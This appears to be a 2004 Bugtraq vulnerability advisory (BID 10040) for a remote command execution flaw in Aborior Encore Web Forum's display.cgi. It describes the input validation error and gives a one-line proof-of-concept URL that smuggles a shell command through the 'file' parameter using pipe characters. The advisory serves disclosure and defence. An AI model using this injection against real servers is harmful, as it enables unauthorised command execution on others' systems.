Aborior Encore Web Forum Remote Arbitrary Command Execution Vulnerability

BID:10040

Info

Aborior Encore Web Forum Remote Arbitrary Command Execution Vulnerability

Bugtraq ID: 10040
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Apr 03 2004 12:00AM
Updated: Jun 21 2006 09:25PM
Credit: Discovery of this issue is credited to k-159.
Vulnerable: Aborior Encore Web Forum
Not Vulnerable:

Discussion

Aborior Encore Web Forum Remote Arbitrary Command Execution Vulnerability

Encore Web Forum is reported prone to an issue that may allow a remote user to execute arbitrary commands on a system implementing the forum software. This issue is due to the application's failure to properly validate user-supplied URI input.

A remote attacker may exploit this condition to execute arbitrary commands in the context of the webserver that is hosting the vulnerable application.

Exploit / POC

Aborior Encore Web Forum Remote Arbitrary Command Execution Vulnerability

The following proof of concept has been provided:

http://www.target.com/encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=|uname -a|

Solution / Fix

References

Aborior Encore Web Forum Remote Arbitrary Command Execution Vulnerability

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